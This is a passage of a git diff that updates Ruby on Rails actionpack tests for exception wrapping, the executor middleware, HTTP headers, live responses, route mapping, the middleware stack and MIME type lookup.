], wrapper.source_extracts + end end test '#source_extracts works with Windows paths' do exc = TestError.new("c:/path/to/rails/app/controller.rb:27:in 'index':") - wrapper = ExceptionWrapper.new({}, exc) - wrapper.expects(:source_fragment).with('c:/path/to/rails/app/controller.rb', 27).returns('nothing') + wrapper = ExceptionWrapper.new(nil, exc) - assert_equal [ code: 'nothing', line_number: 27 ], wrapper.source_extracts + assert_called_with(wrapper, :source_fragment, ['c:/path/to/rails/app/controller.rb', 27], returns: 'nothing') do + assert_equal [ code: 'nothing', line_number: 27 ], wrapper.source_extracts + end end test '#source_extracts works with non standard backtrace' do exc = TestError.new('invalid') - wrapper = ExceptionWrapper.new({}, exc) - wrapper.expects(:source_fragment).with('invalid', 0).returns('nothing') + wrapper = ExceptionWrapper.new(nil, exc) - assert_equal [ code: 'nothing', line_number: 0 ], wrapper.source_extracts + assert_called_with(wrapper, :source_fragment, ['invalid', 0], returns: 'nothing') do + assert_equal [ code: 'nothing', line_number: 0 ], wrapper.source_extracts + end end test '#application_trace returns traces only from the application' do exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'")) - wrapper = ExceptionWrapper.new(@environment, exception) + wrapper = ExceptionWrapper.new(@cleaner, exception) assert_equal [ "lib/file.rb:42:in `index'" ], wrapper.application_trace end test '#application_trace cannot be nil' do - nil_backtrace_wrapper = ExceptionWrapper.new(@environment, BadlyDefinedError.new) - nil_cleaner_wrapper = ExceptionWrapper.new({}, BadlyDefinedError.new) + nil_backtrace_wrapper = ExceptionWrapper.new(@cleaner, BadlyDefinedError.new) + nil_cleaner_wrapper = ExceptionWrapper.new(nil, BadlyDefinedError.new) assert_equal [], nil_backtrace_wrapper.application_trace assert_equal [], nil_cleaner_wrapper.application_trace @@ -69,14 +67,14 @@ module ActionDispatch test '#framework_trace returns traces outside the application' do exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'")) - wrapper = ExceptionWrapper.new(@environment, exception) + wrapper = ExceptionWrapper.new(@cleaner, exception) assert_equal caller, wrapper.framework_trace end test '#framework_trace cannot be nil' do - nil_backtrace_wrapper = ExceptionWrapper.new(@environment, BadlyDefinedError.new) - nil_cleaner_wrapper = ExceptionWrapper.new({}, BadlyDefinedError.new) + nil_backtrace_wrapper = ExceptionWrapper.new(@cleaner, BadlyDefinedError.new) + nil_cleaner_wrapper = ExceptionWrapper.new(nil, BadlyDefinedError.new) assert_equal [], nil_backtrace_wrapper.framework_trace assert_equal [], nil_cleaner_wrapper.framework_trace @@ -84,14 +82,14 @@ module ActionDispatch test '#full_trace returns application and framework traces' do exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'")) - wrapper = ExceptionWrapper.new(@environment, exception) + wrapper = ExceptionWrapper.new(@cleaner, exception) assert_equal exception.backtrace, wrapper.full_trace end test '#full_trace cannot be nil' do - nil_backtrace_wrapper = ExceptionWrapper.new(@environment, BadlyDefinedError.new) - nil_cleaner_wrapper = ExceptionWrapper.new({}, BadlyDefinedError.new) + nil_backtrace_wrapper = ExceptionWrapper.new(@cleaner, BadlyDefinedError.new) + nil_cleaner_wrapper = ExceptionWrapper.new(nil, BadlyDefinedError.new) assert_equal [], nil_backtrace_wrapper.full_trace assert_equal [], nil_cleaner_wrapper.full_trace @@ -99,7 +97,7 @@ module ActionDispatch test '#traces returns every trace by category enumerated with an index' do exception = TestError.new("lib/file.rb:42:in `index'", "/gems/rack.rb:43:in `index'") - wrapper = ExceptionWrapper.new(@environment, exception) + wrapper = ExceptionWrapper.new(@cleaner, exception) assert_equal({ 'Application Trace' => [ id: 0, trace: "lib/file.rb:42:in `index'" ], diff --git a/actionpack/test/dispatch/executor_test.rb b/actionpack/test/dispatch/executor_test.rb new file mode 100644 index 0000000000..28bb232ecd --- /dev/null +++ b/actionpack/test/dispatch/executor_test.rb @@ -0,0 +1,134 @@ +require 'abstract_unit' + +class ExecutorTest < ActiveSupport::TestCase + class MyBody < Array + def initialize(&block) + @on_close = block + end + + def foo + "foo" + end + + def bar + "bar" + end + + def close + @on_close.call if @on_close + end + end + + def test_returned_body_object_always_responds_to_close + body = call_and_return_body + assert_respond_to body, :close + end + + def test_returned_body_object_always_responds_to_close_even_if_called_twice + body = call_and_return_body + assert_respond_to body, :close + body.close + + body = call_and_return_body + assert_respond_to body, :close + body.close + end + + def test_returned_body_object_behaves_like_underlying_object + body = call_and_return_body do + b = MyBody.new + b << "hello" + b << "world" + [200, { "Content-Type" => "text/html" }, b] + end + assert_equal 2, body.size + assert_equal "hello", body[0] + assert_equal "world", body[1] + assert_equal "foo", body.foo + assert_equal "bar", body.bar + end + + def test_it_calls_close_on_underlying_object_when_close_is_called_on_body + close_called = false + body = call_and_return_body do + b = MyBody.new do + close_called = true + end + [200, { "Content-Type" => "text/html" }, b] + end + body.close + assert close_called + end + + def test_returned_body_object_responds_to_all_methods_supported_by_underlying_object + body = call_and_return_body do + [200, { "Content-Type" => "text/html" }, MyBody.new] + end + assert_respond_to body, :size + assert_respond_to body, :each + assert_respond_to body, :foo + assert_respond_to body, :bar + end + + def test_run_callbacks_are_called_before_close + running = false + executor.to_run { running = true } + + body = call_and_return_body + assert running + + running = false + body.close + assert !running + end + + def test_complete_callbacks_are_called_on_close + completed = false + executor.to_complete { completed = true } + + body = call_and_return_body + assert !completed + + body.close + assert completed + end + + def test_complete_callbacks_are_called_on_exceptions + completed = false + executor.to_complete { completed = true } + + begin + call_and_return_body do + raise "error" + end + rescue + end + + assert completed + end + + def test_callbacks_execute_in_shared_context + result = false + executor.to_run { @in_shared_context = true } + executor.to_complete { result = @in_shared_context } + + call_and_return_body.close + assert result + assert !defined?(@in_shared_context) # it's not in the test itself + end + + private + def call_and_return_body(&block) + app = middleware(block || proc { [200, {}, 'response'] }) + _, _, body = app.call({'rack.input' => StringIO.new('')}) + body + end + + def middleware(inner_app) + ActionDispatch::Executor.new(inner_app, executor) + end + + def executor + @executor ||= Class.new(ActiveSupport::Executor) + end +end diff --git a/actionpack/test/dispatch/header_test.rb b/actionpack/test/dispatch/header_test.rb index e2b38c23bc..7f1ef121b7 100644 --- a/actionpack/test/dispatch/header_test.rb +++ b/actionpack/test/dispatch/header_test.rb @@ -1,15 +1,19 @@ require "abstract_unit" class HeaderTest < ActiveSupport::TestCase + def make_headers(hash) + ActionDispatch::Http::Headers.new ActionDispatch::Request.new hash + end + setup do - @headers = ActionDispatch::Http::Headers.new( + @headers = make_headers( "CONTENT_TYPE" => "text/plain", "HTTP_REFERER" => "/some/page" ) end test "#new does not normalize the data" do - headers = ActionDispatch::Http::Headers.new( + headers = make_headers( "Content-Type" => "application/json", "HTTP_REFERER" => "/some/page", "Host" => "http://test.com") @@ -38,6 +42,24 @@ class HeaderTest < ActiveSupport::TestCase assert_equal "127.0.0.1", @headers["HTTP_HOST"] end + test "add to multivalued headers" do + # Sets header when not present + @headers.add 'Foo', '1' + assert_equal '1', @headers['Foo'] + + # Ignores nil values + @headers.add 'Foo', nil + assert_equal '1', @headers['Foo'] + + # Converts value to string + @headers.add 'Foo', 1 + assert_equal '1,1', @headers['Foo'] + + # Case-insensitive + @headers.add 'fOo', 2 + assert_equal '1,1,2', @headers['foO'] + end + test "headers can contain numbers" do @headers["Content-MD5"] = "Q2hlY2sgSW50ZWdyaXR5IQ==" @@ -108,7 +130,7 @@ class HeaderTest < ActiveSupport::TestCase end test "env variables with . are not modified" do - headers = ActionDispatch::Http::Headers.new + headers = make_headers({}) headers.merge! "rack.input" => "", "rack.request.cookie_hash" => "", "action_dispatch.logger" => "" @@ -119,7 +141,7 @@ class HeaderTest < ActiveSupport::TestCase end test "symbols are treated as strings" do - headers = ActionDispatch::Http::Headers.new + headers = make_headers({}) headers.merge!(:SERVER_NAME => "example.com", "HTTP_REFERER" => "/", :Host => "test.com") @@ -130,7 +152,7 @@ class HeaderTest < ActiveSupport::TestCase test "headers directly modifies the passed environment" do env = {"HTTP_REFERER" => "/"} - headers = ActionDispatch::Http::Headers.new(env) + headers = make_headers(env) headers['Referer'] = "http://example.com/" headers.merge! "CONTENT_TYPE" => "text/plain" assert_equal({"HTTP_REFERER"=>"http://example.com/", diff --git a/actionpack/test/dispatch/live_response_test.rb b/actionpack/test/dispatch/live_response_test.rb index 512f3a8a7a..de57c4be1d 100644 --- a/actionpack/test/dispatch/live_response_test.rb +++ b/actionpack/test/dispatch/live_response_test.rb @@ -1,12 +1,12 @@ require 'abstract_unit' -require 'active_support/concurrency/latch' +require 'concurrent/atomic/count_down_latch' module ActionController module Live class ResponseTest < ActiveSupport::TestCase def setup @response = Live::Response.new - @response.request = ActionDispatch::Request.new({}) #yolo + @response.request = ActionDispatch::Request.empty end def test_header_merge @@ -27,18 +27,18 @@ module ActionController end def test_parallel - latch = ActiveSupport::Concurrency::Latch.new + latch = Concurrent::CountDownLatch.new t = Thread.new { @response.stream.write 'foo' - latch.await + latch.wait @response.stream.close } @response.await_commit @response.each do |part| assert_equal 'foo', part - latch.release + latch.count_down end assert t.join end @@ -62,15 +62,15 @@ module ActionController def test_headers_cannot_be_written_after_webserver_reads @response.stream.write 'omg' - latch = ActiveSupport::Concurrency::Latch.new + latch = Concurrent::CountDownLatch.new t = Thread.new { - @response.stream.each do |chunk| - latch.release + @response.each do + latch.count_down end } - latch.await + latch.wait assert @response.headers.frozen? e = assert_raises(ActionDispatch::IllegalStateError) do @response.headers['Content-Length'] = "zomg" @@ -83,6 +83,8 @@ module ActionController def test_headers_cannot_be_written_after_close @response.stream.close + # we can add data until it's actually written, which happens on `each` + @response.each { |x| } e = assert_raises(ActionDispatch::IllegalStateError) do @response.headers['Content-Length'] = "zomg" diff --git a/actionpack/test/dispatch/mapper_test.rb b/actionpack/test/dispatch/mapper_test.rb index 889f9a4736..69098326b9 100644 --- a/actionpack/test/dispatch/mapper_test.rb +++ b/actionpack/test/dispatch/mapper_test.rb @@ -4,13 +4,6 @@ module ActionDispatch module Routing class MapperTest < ActiveSupport::TestCase class FakeSet < ActionDispatch::Routing::RouteSet - attr_reader :routes - alias :set :routes - - def initialize - @routes = [] - end - def resources_path_names {} end @@ -19,16 +12,24 @@ module ActionDispatch ActionDispatch::Request end - def add_route(*args) - routes << args + def dispatcher_class + RouteSet::Dispatcher + end + + def defaults + routes.map(&:defaults) end def conditions - routes.map { |x| x[1] } + routes.map(&:constraints) end def requirements - routes.map { |x| x[2] } + routes.map(&:path).map(&:requirements) + end + + def asts + routes.map(&:path).map(&:spec) end end @@ -36,18 +37,76 @@ module ActionDispatch Mapper.new FakeSet.new end + def test_scope_raises_on_anchor + fakeset = FakeSet.new + mapper = Mapper.new fakeset + assert_raises(ArgumentError) do + mapper.scope(anchor: false) do + end + end + end + + def test_blows_up_without_via + fakeset = FakeSet.new + mapper = Mapper.new fakeset + assert_raises(ArgumentError) do + mapper.match '/', :to => 'posts#index', :as => :main + end + end + + def test_unscoped_formatted + fakeset = FakeSet.new + mapper = Mapper.new fakeset + mapper.get '/foo', :to => 'posts#index', :as => :main, :format => true + assert_equal({:controller=>"posts", :action=>"index"}, + fakeset.defaults.first) + assert_equal "/foo.:format", fakeset.asts.first.to_s + end + + def test_scoped_formatted + fakeset = FakeSet.new + mapper = Mapper.new fakeset + mapper.scope(format: true) do + mapper.get '/foo', :to => 'posts#index', :as => :main + end + assert_equal({:controller=>"posts", :action=>"index"}, + fakeset.defaults.first) + assert_equal "/foo.:format", fakeset.asts.first.to_s + end + + def test_random_keys + fakeset = FakeSet.new + mapper = Mapper.new fakeset + mapper.scope(omg: :awesome) do + mapper.get '/', :to => 'posts#index', :as => :main + end + assert_equal({:omg=>:awesome, :controller=>"posts", :action=>"index"}, + fakeset.defaults.first) + assert_equal("GET", fakeset.routes.first.verb) + end + def test_mapping_requirements - options = { :controller => 'foo', :action => 'bar', :via => :get } - m = Mapper::Mapping.build({}, FakeSet.new, '/store/:name(*rest)', nil, options) - _, _, requirements, _ = m.to_route - assert_equal(/.+?/, requirements[:rest]) + options = { } + scope = Mapper::Scope.new({}) + ast = Journey::Parser.parse '/store/:name(*rest)' + m = Mapper::Mapping.build(scope, FakeSet.new, ast, 'foo', 'bar', nil, [:get], nil, {}, true, options) + assert_equal(/.+?/, m.requirements[:rest]) + end + + def test_via_scope + fakeset = FakeSet.new + mapper = Mapper.new fakeset + mapper.scope(via: :put) do + mapper.match '/', :to => 'posts#index', :as => :main + end + assert_equal("PUT", fakeset.routes.first.verb) end def test_map_slash fakeset = FakeSet.new mapper = Mapper.new fakeset mapper.get '/', :to => 'posts#index', :as => :main - assert_equal '/', fakeset.conditions.first[:path_info] + assert_equal '/', fakeset.asts.first.to_s end def test_map_more_slashes @@ -56,14 +115,14 @@ module ActionDispatch # FIXME: is this a desired behavior? mapper.get '/one/two/', :to => 'posts#index', :as => :main - assert_equal '/one/two(.:format)', fakeset.conditions.first[:path_info] + assert_equal '/one/two(.:format)', fakeset.asts.first.to_s end def test_map_wildcard fakeset = FakeSet.new mapper = Mapper.new fakeset mapper.get '/*path', :to => 'pages#show' - assert_equal '/*path(.:format)', fakeset.conditions.first[:path_info] + assert_equal '/*path(.:format)', fakeset.asts.first.to_s assert_equal(/.+?/, fakeset.requirements.first[:path]) end @@ -71,7 +130,7 @@ module ActionDispatch fakeset = FakeSet.new mapper = Mapper.new fakeset mapper.get '/*path/foo/:bar', :to => 'pages#show' - assert_equal '/*path/foo/:bar(.:format)', fakeset.conditions.first[:path_info] + assert_equal '/*path/foo/:bar(.:format)', fakeset.asts.first.to_s assert_equal(/.+?/, fakeset.requirements.first[:path]) end @@ -79,7 +138,7 @@ module ActionDispatch fakeset = FakeSet.new mapper = Mapper.new fakeset mapper.get '/*foo/*bar', :to => 'pages#show' - assert_equal '/*foo/*bar(.:format)', fakeset.conditions.first[:path_info] + assert_equal '/*foo/*bar(.:format)', fakeset.asts.first.to_s assert_equal(/.+?/, fakeset.requirements.first[:foo]) assert_equal(/.+?/, fakeset.requirements.first[:bar]) end @@ -88,7 +147,7 @@ module ActionDispatch fakeset = FakeSet.new mapper = Mapper.new fakeset mapper.get '/*path', :to => 'pages#show', :format => false - assert_equal '/*path', fakeset.conditions.first[:path_info] + assert_equal '/*path', fakeset.asts.first.to_s assert_nil fakeset.requirements.first[:path] end @@ -96,10 +155,10 @@ module ActionDispatch fakeset = FakeSet.new mapper = Mapper.new fakeset mapper.get '/*path', :to => 'pages#show', :format => true - assert_equal '/*path.:format', fakeset.conditions.first[:path_info] + assert_equal '/*path.:format', fakeset.asts.first.to_s end - def test_raising_helpful_error_on_invalid_arguments + def test_raising_error_when_path_is_not_passed fakeset = FakeSet.new mapper = Mapper.new fakeset app = lambda { |env| [200, {}, [""]] } @@ -107,6 +166,31 @@ module ActionDispatch mapper.mount app end end + + def test_raising_error_when_rack_app_is_not_passed + fakeset = FakeSet.new + mapper = Mapper.new fakeset + assert_raises ArgumentError do + mapper.mount 10, as: "exciting" + end + + assert_raises ArgumentError do + mapper.mount as: "exciting" + end + end + + def test_scope_does_not_destructively_mutate_default_options + fakeset = FakeSet.new + mapper = Mapper.new fakeset + + frozen = { foo: :bar }.freeze + + assert_nothing_raised do + mapper.scope(defaults: frozen) do + # pass + end + end + end end end end diff --git a/actionpack/test/dispatch/middleware_stack/middleware_test.rb b/actionpack/test/dispatch/middleware_stack/middleware_test.rb deleted file mode 100644 index 9607f026db..0000000000 --- a/actionpack/test/dispatch/middleware_stack/middleware_test.rb +++ /dev/null @@ -1,77 +0,0 @@ -require 'abstract_unit' -require 'action_dispatch/middleware/stack' - -module ActionDispatch - class MiddlewareStack - class MiddlewareTest < ActiveSupport::TestCase - class Omg; end - - { - 'concrete' => Omg, - 'anonymous' => Class.new - }.each do |name, klass| - - define_method("test_#{name}_klass") do - mw = Middleware.new klass - assert_equal klass, mw.klass - end - - define_method("test_#{name}_==") do - mw1 = Middleware.new klass - mw2 = Middleware.new klass - assert_equal mw1, mw2 - end - - end - - def test_string_class - mw = Middleware.new Omg.name - assert_equal Omg, mw.klass - end - - def test_double_equal_works_with_classes - k = Class.new - mw = Middleware.new k - assert_operator mw, :==, k - - result = mw != Class.new - assert result, 'middleware should not equal other anon class' - end - - def test_double_equal_works_with_strings - mw = Middleware.new Omg - assert_operator mw, :==, Omg.name - end - - def test_double_equal_normalizes_strings - mw = Middleware.new Omg - assert_operator mw, :==, "::#{Omg.name}" - end - - def test_middleware_loads_classnames_from_cache - mw = Class.new(Middleware) { - attr_accessor :classcache - }.new(Omg.name) - - fake_cache = { mw.name => Omg } - mw.classcache = fake_cache - - assert_equal Omg, mw.klass - - fake_cache[mw.name] = Middleware - assert_equal Middleware, mw.klass - end - - def test_middleware_always_returns_class - mw = Class.new(Middleware) { - attr_accessor :classcache - }.new(Omg) - - fake_cache = { mw.name => Middleware } - mw.classcache = fake_cache - - assert_equal Omg, mw.klass - end - end - end -end diff --git a/actionpack/test/dispatch/middleware_stack_test.rb b/actionpack/test/dispatch/middleware_stack_test.rb index 948a690979..a8c8e0784f 100644 --- a/actionpack/test/dispatch/middleware_stack_test.rb +++ b/actionpack/test/dispatch/middleware_stack_test.rb @@ -4,6 +4,7 @@ class MiddlewareStackTest < ActiveSupport::TestCase class FooMiddleware; end class BarMiddleware; end class BazMiddleware; end + class HiyaMiddleware; end class BlockMiddleware attr_reader :block def initialize(&block) @@ -17,6 +18,20 @@ class MiddlewareStackTest < ActiveSupport::TestCase @stack.use BarMiddleware end + def test_delete_with_string_is_deprecated + assert_deprecated do + assert_difference "@stack.size", -1 do + @stack.delete FooMiddleware.name + end + end + end + + def test_delete_works + assert_difference "@stack.size", -1 do + @stack.delete FooMiddleware + end + end + test "use should push middleware as class onto the stack" do assert_difference "@stack.size" do @stack.use BazMiddleware @@ -25,17 +40,21 @@ class MiddlewareStackTest < ActiveSupport::TestCase end test "use should push middleware as a string onto the stack" do - assert_difference "@stack.size" do - @stack.use "MiddlewareStackTest::BazMiddleware" + assert_deprecated do + assert_difference "@stack.size" do + @stack.use "MiddlewareStackTest::BazMiddleware" + end + assert_equal BazMiddleware, @stack.last.klass end - assert_equal BazMiddleware, @stack.last.klass end test "use should push middleware as a symbol onto the stack" do - assert_difference "@stack.size" do - @stack.use :"MiddlewareStackTest::BazMiddleware" + assert_deprecated do + assert_difference "@stack.size" do + @stack.use :"MiddlewareStackTest::BazMiddleware" + end + assert_equal BazMiddleware, @stack.last.klass end - assert_equal BazMiddleware, @stack.last.klass end test "use should push middleware class with arguments onto the stack" do @@ -88,30 +107,44 @@ class MiddlewareStackTest < ActiveSupport::TestCase end test "unshift adds a new middleware at the beginning of the stack" do - @stack.unshift :"MiddlewareStackTest::BazMiddleware" - assert_equal BazMiddleware, @stack.first.klass + assert_deprecated do + @stack.unshift :"MiddlewareStackTest::BazMiddleware" + assert_equal BazMiddleware, @stack.first.klass + end end test "raise an error on invalid index" do assert_raise RuntimeError do - @stack.insert("HiyaMiddleware", BazMiddleware) + @stack.insert(HiyaMiddleware, BazMiddleware) end assert_raise RuntimeError do - @stack.insert_after("HiyaMiddleware", BazMiddleware) + @stack.insert_after(HiyaMiddleware, BazMiddleware) end end test "lazy evaluates middleware class" do - assert_difference "@stack.size" do - @stack.use "MiddlewareStackTest::BazMiddleware" + assert_deprecated do + assert_difference "@stack.size" do + @stack.use "MiddlewareStackTest::BazMiddleware" + end + assert_equal BazMiddleware, @stack.last.klass end - assert_equal BazMiddleware, @stack.last.klass end - test "lazy compares so unloaded constants are not loaded" do - @stack.use "UnknownMiddleware" - @stack.use :"MiddlewareStackTest::BazMiddleware" - assert @stack.include?("::MiddlewareStackTest::BazMiddleware") + test "can check if Middleware are equal - Class" do + assert_equal @stack.last, BarMiddleware + end + + test "includes a class" do + assert_equal true, @stack.include?(BarMiddleware) + end + + test "can check if Middleware are equal - Middleware" do + assert_equal @stack.last, @stack.last + end + + test "includes a middleware" do + assert_equal true, @stack.include?(ActionDispatch::MiddlewareStack::Middleware.new(BarMiddleware, nil, nil)) end end diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb index 3017a9c2d6..672b272590 100644 --- a/actionpack/test/dispatch/mime_type_test.rb +++ b/actionpack/test/dispatch/mime_type_test.rb @@ -1,7 +1,6 @@ require 'abstract_unit' class MimeTypeTest < ActiveSupport::TestCase - test "parse single" do Mime::LOOKUP.each_key do |mime_type| unless mime_type == 'image/*' @@ -11,97 +10,95 @@ class MimeTypeTest < ActiveSupport::TestCase end test "unregister" do + assert_nil Mime[:mobile] + begin - Mime::Type.register("text/x-mobile", :mobile) - assert defined?(Mime::MOBILE) - assert_equal Mime::MOBILE, Mime::LOOKUP['text/x-mobile'] - assert_equal Mime::MOBILE, Mime::EXTENSION_LOOKUP['mobile'] + mime = Mime::Type.register("text/x-mobile", :mobile) + assert_equal mime, Mime[:mobile] + assert_equal mime, Mime::Type.lookup('text/x-mobile') + assert_equal mime, Mime::Type.lookup_by_extension(:mobile) Mime::Type.unregister(:mobile) - assert !defined?(Mime::MOBILE), "Mime::MOBILE should not be defined" - assert !Mime::LOOKUP.has_key?('text/x-mobile'), "Mime::LOOKUP should not have key ['text/x-mobile]" - assert !Mime::EXTENSION_LOOKUP.has_key?('mobile'), "Mime::EXTENSION_LOOKUP should not have key ['mobile]" + assert_nil Mime[:mobile], "Mime[:mobile] should be nil after unregistering :mobile" + assert_nil Mime::Type.lookup_by_extension(:mobile), "Should be missing MIME extension lookup for :mobile" ensure - Mime.module_eval { remove_const :MOBILE if const_defined?(:MOBILE) } - Mime::LOOKUP.reject!{|key,_| key == 'text/x-mobile'} + Mime::Type.unregister :mobile end end test "parse text with trailing star at the beginning" do accept = "text/*, text/html, application/json, multipart/form-data" - expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML, Mime::JSON, Mime::MULTIPART_FORM] + expect = [Mime[:html], Mime[:text], Mime[:js], Mime[:css], Mime[:ics], Mime[:csv], Mime[:vcf], Mime[:xml], Mime[:yaml], Mime[:json], Mime[:multipart_form]] parsed = Mime::Type.parse(accept) assert_equal expect, parsed end test "parse text with trailing star in the end" do accept = "text/html, application/json, multipart/form-data, text/*" - expect = [Mime::HTML, Mime::JSON, Mime::MULTIPART_FORM, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML] + expect = [Mime[:html], Mime[:json], Mime[:multipart_form], Mime[:text], Mime[:js], Mime[:css], Mime[:ics], Mime[:csv], Mime[:vcf], Mime[:xml], Mime[:yaml]] parsed = Mime::Type.parse(accept) assert_equal expect, parsed end test "parse text with trailing star" do accept = "text/*" - expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML, Mime::JSON] + expect = [Mime[:html], Mime[:text], Mime[:js], Mime[:css], Mime[:ics], Mime[:csv], Mime[:vcf], Mime[:xml], Mime[:yaml], Mime[:json]] parsed = Mime::Type.parse(accept) assert_equal expect, parsed end test "parse application with trailing star" do accept = "application/*" - expect = [Mime::HTML, Mime::JS, Mime::XML, Mime::RSS, Mime::ATOM, Mime::YAML, Mime::URL_ENCODED_FORM, Mime::JSON, Mime::PDF, Mime::ZIP] + expect = [Mime[:html], Mime[:js], Mime[:xml], Mime[:rss], Mime[:atom], Mime[:yaml], Mime[:url_encoded_form], Mime[:json], Mime[:pdf], Mime[:zip], Mime[:gzip]] parsed = Mime::Type.parse(accept) assert_equal expect, parsed end test "parse without q" do accept = "text/xml,application/xhtml+xml,text/yaml,application/xml,text/html,image/png,text/plain,application/pdf,*/*" - expect = [Mime::HTML, Mime::XML, Mime::YAML, Mime::PNG, Mime::TEXT, Mime::PDF, Mime::ALL] - assert_equal expect, Mime::Type.parse(accept) + expect = [Mime[:html], Mime[:xml], Mime[:yaml], Mime[:png], Mime[:text], Mime[:pdf], '*/*'] + assert_equal expect.map(&:to_s), Mime::Type.parse(accept).map(&:to_s) end test "parse with q" do accept = "text/xml,application/xhtml+xml,text/yaml; q=0.3,application/xml,text/html; q=0.8,image/png,text/plain; q=0.5,application/pdf,*/*; q=0.2" - expect = [Mime::HTML, Mime::XML, Mime::PNG, Mime::PDF, Mime::TEXT, Mime::YAML, Mime::ALL] - assert_equal expect, Mime::Type.parse(accept) + expect = [Mime[:html], Mime[:xml], Mime[:png], Mime[:pdf], Mime[:text], Mime[:yaml], '*/*'] + assert_equal expect.map(&:to_s), Mime::Type.parse(accept).map(&:to_s) end test "parse single media range with q" do accept = "text/html;q=0.9" - expect = [Mime::HTML] + expect = [Mime[:html]] assert_equal expect, Mime::Type.parse(accept) end test "parse arbitrary media type parameters" do accept = 'multipart/form-data; boundary="simple boundary"' - expect = [Mime::MULTIPART_FORM] + expect = [Mime[:multipart_form]] assert_equal expect, Mime::Type.parse(accept) end # Accept header send with user HTTP_USER_AGENT: Sunrise/0.42j (Windows XP) test "parse broken acceptlines" do accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/*,,*/*;q=0.5" - expect = [Mime::HTML, Mime::XML, "image/*", Mime::TEXT, Mime::ALL] - assert_equal expect, Mime::Type.parse(accept).collect(&:to_s) + expect = [Mime[:html], Mime[:xml], "image/*", Mime[:text], '*/*'] + assert_equal expect.map(&:to_s), Mime::Type.parse(accept).map(&:to_s) end # Accept header send with user HTTP_USER_AGENT: Mozilla/4.0 # (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1) test "parse other broken acceptlines" do accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, , pronto/1.00.00, sslvpn/1.00.00.00, */*" - expect = ['image/gif', 'image/x-xbitmap', 'image/jpeg','image/pjpeg', 'application/x-shockwave-flash', 'application/vnd.ms-excel', 'application/vnd.ms-powerpoint', 'application/msword', 'pronto/1.00.00', 'sslvpn/1.00.00.00', Mime::ALL] - assert_equal expect, Mime::Type.parse(accept).collect(&:to_s) + expect = ['image/gif', 'image/x-xbitmap', 'image/jpeg','image/pjpeg', 'application/x-shockwave-flash', 'application/vnd.ms-excel', 'application/vnd.ms-powerpoint', 'application/msword', 'pronto/1.00.00', 'sslvpn/1.00.00.00', '*/*'] + assert_equal expect.map(&:to_s), Mime::Type.parse(accept).map(&:to_s) end test "custom type" do begin - Mime::Type.register("image/foo", :foo) - assert_nothing_raised do - assert_equal Mime::FOO, Mime::SET.last - end + type = Mime::Type.register("image/foo", :foo) + assert_equal type, Mime[:foo] ensure - Mime::Type.unregister(:FOO) + Mime::Type.unregister(:foo) end end @@ -109,10 +106,10 @@ class MimeTypeTest < ActiveSupport::TestCase begin Mime::Type.register "text/foobar", :foobar, ["text/foo", "text/bar"] %w[text/foobar text/foo text/bar].each do |type| - assert_equal Mime::FOOBAR, type + assert_equal Mime[:foobar], type end ensure - Mime::Type.unregister(:FOOBAR) + Mime::Type.unregister(:foobar) end end @@ -123,10 +120,10 @@ class MimeTypeTest < ActiveSupport::TestCase registered_mimes << mime end - Mime::Type.register("text/foo", :foo) - assert_equal [Mime::FOO], registered_mimes + mime = Mime::Type.register("text/foo", :foo) + assert_equal [mime], registered_mimes ensure - Mime::Type.unregister(:FOO) + Mime::Type.unregister(:foo) end end @@ -134,70 +131,67 @@ class MimeTypeTest < ActiveSupport::TestCase begin Mime::Type.register "text/foobar", :foobar, [], [:foo, "bar"] %w[foobar foo bar].each do |extension| - assert_equal Mime::FOOBAR, Mime::EXTENSION_LOOKUP[extension] + assert_equal Mime[:foobar], Mime::EXTENSION_LOOKUP[extension] end ensure - Mime::Type.unregister(:FOOBAR) + Mime::Type.unregister(:foobar) end end test "register alias" do begin Mime::Type.register_alias "application/xhtml+xml", :foobar - assert_equal Mime::HTML, Mime::EXTENSION_LOOKUP['foobar'] + assert_equal Mime[:html], Mime::EXTENSION_LOOKUP['foobar'] ensure - Mime::Type.unregister(:FOOBAR) + Mime::Type.unregister(:foobar) end end test "type should be equal to symbol" do - assert_equal Mime::HTML, 'application/xhtml+xml' - assert_equal Mime::HTML, :html + assert_equal Mime[:html], 'application/xhtml+xml' + assert_equal Mime[:html], :html end test "type convenience methods" do - # Don't test Mime::ALL, since it Mime::ALL#html? == true - types = Mime::SET.symbols.uniq - [:all, :iphone] - - # Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE - types.delete_if { |type| !Mime.const_defined?(type.upcase) } - + types = Mime::SET.symbols.uniq - [:iphone] types.each do |type| - mime = Mime.const_get(type.upcase) + mime = Mime[type] assert mime.respond_to?("#{type}?"), "#{mime.inspect} does not respond to #{type}?" - assert mime.send("#{type}?"), "#{mime.inspect} is not #{type}?" + assert_equal type, mime.symbol, "#{mime.inspect} is not #{type}?" invalid_types = types - [type] - invalid_types.delete(:html) if Mime::Type.html_types.include?(type) - invalid_types.each { |other_type| assert !mime.send("#{other_type}?"), "#{mime.inspect} is #{other_type}?" } + invalid_types.delete(:html) + invalid_types.each { |other_type| + assert_not_equal mime.symbol, other_type, "#{mime.inspect} is #{other_type}?" + } end end - test "mime all is html" do - assert Mime::ALL.all?, "Mime::ALL is not all?" - assert Mime::ALL.html?, "Mime::ALL is not html?" + test "deprecated lookup" do + assert_deprecated do + Mime::HTML + end end - test "verifiable mime types" do - all_types = Mime::SET.symbols - all_types.uniq! - # Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE - all_types.delete_if { |type| !Mime.const_defined?(type.upcase) } + test "deprecated const_defined?" do + assert_deprecated do + Mime.const_defined? :HTML + end end test "references gives preference to symbols before strings" do - assert_equal :html, Mime::HTML.ref + assert_equal :html, 